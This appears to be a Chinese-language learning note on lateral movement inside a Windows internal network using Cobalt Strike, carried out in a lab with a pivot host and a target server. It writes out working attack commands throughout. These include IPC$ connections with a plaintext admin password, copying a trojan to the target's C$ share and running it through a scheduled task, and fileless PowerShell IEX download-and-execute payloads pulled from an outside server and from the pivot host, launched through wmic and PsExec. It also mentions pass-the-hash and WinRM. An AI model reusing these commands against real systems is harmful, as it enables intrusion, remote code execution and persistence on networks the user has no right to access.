內網橫向移動學習備忘錄
0x00 前言
本篇文章記載了當拿到內網機器的密碼或Hash進行橫向移動的方式。
0x01 環境介紹
1.1 擴充套件圖
1.2 網路環境
Windows 7 跳版機(192.168.200.222、10.211.66.5)雙網絡卡可出網也可與內網連通。 Windows server 2012 目標靶機(192.168.200.66)不可出網。
1.3 簡述
攻擊者通過滲透測試拿到主機Win 7(192.168.200.222)的許可權並發現可出網,所以上線CS用來許可權維持。
前提我們已經抓取到Win 7(192.168.200.222)跳板機的登陸明文憑證,這裡是我新增的明文憑證,竊取憑證的方法有很多這裡不在贅述參考文章,此篇文章只記錄個人在學習內網環境下橫向移動的一些筆記。
新增一個 Win 7(192.168.200.222)跳板機的監聽器用來做中轉會話。
生成木馬檔案在本地。
Tips:因為Win 2012(192.168.200.66)目標機不出外網所以選擇剛新增的中轉會話。
0x02 IPC$ && 計劃任務
2.1 利用條件
1)沒有禁用IPC$連線、139和445埠、未使用防火牆等方式來阻止IPC$。
2)目標機器開啟了相關的IPC$服務。
3)需要目標機器的管理員賬號和密碼(IPC$空連線除外)。
4)需要得知目標機器IP地址並可互相通訊。
2.2 利用方式
在 CS 客戶端對Win 7(192.168.200.222)會話進行操作。
對 Win 2012(192.168.200.66)目標主機建立共享連線,並檢視目標主機共享資源。
"Hacker@1." shell net use \\192.168.200.66 /user:administrator
shell net view \\192.168.200.66
列出目標主機 C 盤下目錄檔案。
shell dir \\192.168.200.66\C$
將CS木馬上傳到跳板機。
upload /root/demo.exe (C:\Users\ppbibo\AppData\Local\Temp\demo.exe)
將Win 7(192.168.200.222)跳板機的木馬檔案copy到Win 2012(192.168.200.66)目標機的C共享盤下。
shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$
遠端建立Win 2012(192.168.200.66)目標機計劃任務執行木馬檔案。
"Hacker@1." /sc MINUTE /mo 1 /tn test /tr "C:\\demo.exe" shell schtasks /create /s 192.168.200.66 /u administrator /p
由於 at 在windows server 2012等新版系統中已被棄用,所以需要使用 schtasks 命令代替。
如果目標機器支援 at 命令,參考如下。
net time \\192.168.200.66at \\192.168.200.66 11:05 c:\demo.exe
成功上線,該會話為被動連線,不操作的不會回連,如果中轉機會話斷掉,該會話也會斷掉。
2.3 IPC 相關的命令
開放/關閉 ipc$ 共享。
net share ipc$net share ipc$ /del
共享計算機 C 盤。
net share C=c:\
檢視/刪除共享的資源。
net sharenet share C /del
取消IPC遠端連線。
net use * /del /y
0x03 WMI
WMI(Windows Management Instrumentation,Windows管理規範)是一項核心的Windows管理技術;使用者可以使用WMI管理本地和遠端計算機。
3.1 利用條件
1)啟動WMI服務(預設開啟)。
2)開放135埠。
3.2 利用方式
在 CS 客戶端對Win 7(192.168.200.222)會話進行操作。
使用CS生成一個WEB互動式Payload(Scripted Web Delivery)來實現無檔案落地上線。
生成的 Payload。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://39.100.x.x:7799/a'))"
在CS 客戶端執行 wmic 遠端命令。
Tips:因為目標主機不出網所以需要把 http://39.100.x.x:7799/a 上的payload,複製下來並在跳板機開啟WEB服務,使受害機下載並執行跳板機上的Payload,上線CS。
跳板機安裝了 python 執行如下命令快速開啟WEB服務。
shell python -m SimpleHTTPServer 8080
"powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))" shell wmic /node:192.168.200.66/user:administrator /password:Hacker@1. process call create
成功上線。
在 windows server 2012 驗證。
Tips:wmic命令缺點無回顯,但是可藉助其他指令碼(wmiexec.vbs)來實現回顯功能。
0X04 PsExec
PsExec是一種輕巧的telnet替代品,可讓您在其他系統上執行程序,併為控制檯應用程式提供完整的互動性,而無需手動安裝客戶端軟體。
beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami
beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))
Tips:psexec 傳遞命令時不要新增雙引號否則會報 “系統找不到指定的檔案” 的錯誤。
Psexec下載地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
更多參考:
https://www.itprotoday.com/compute-engines/psexec
4.1 CS Psexec_psh hash傳遞
憑證竊取中並不是每次都可以獲取到明文,會出現只有hash的情況,獲取hash同樣可以進行橫向操作。
因為換了WiFi地址所有IP發生瞭如下變化。
Windows 7 跳版機(172.16.100.176、10.211.66.5)雙網絡卡可出網也可與內網連通。 Windows server 2012 目標靶機(172.16.100.60)不可出網。
成功上線。
0X05 WINRM
WinRM 指的是Windows遠端管理服務,通過遠端連線winRM模組可以操作windows命令列,預設監聽埠5985(HTTP)&5986 (HTTPS),在2012及以後預設開啟。
這裡的目標靶機正好是 windows server 2012,執行如下命令檢視是否啟用了 winrm service 。
winrm enumerate winrm/config/listener
5.1 利用方式
CS自帶了一些用於橫向移動的功能,可以在目標中選中主機進行攻擊。
成功上線。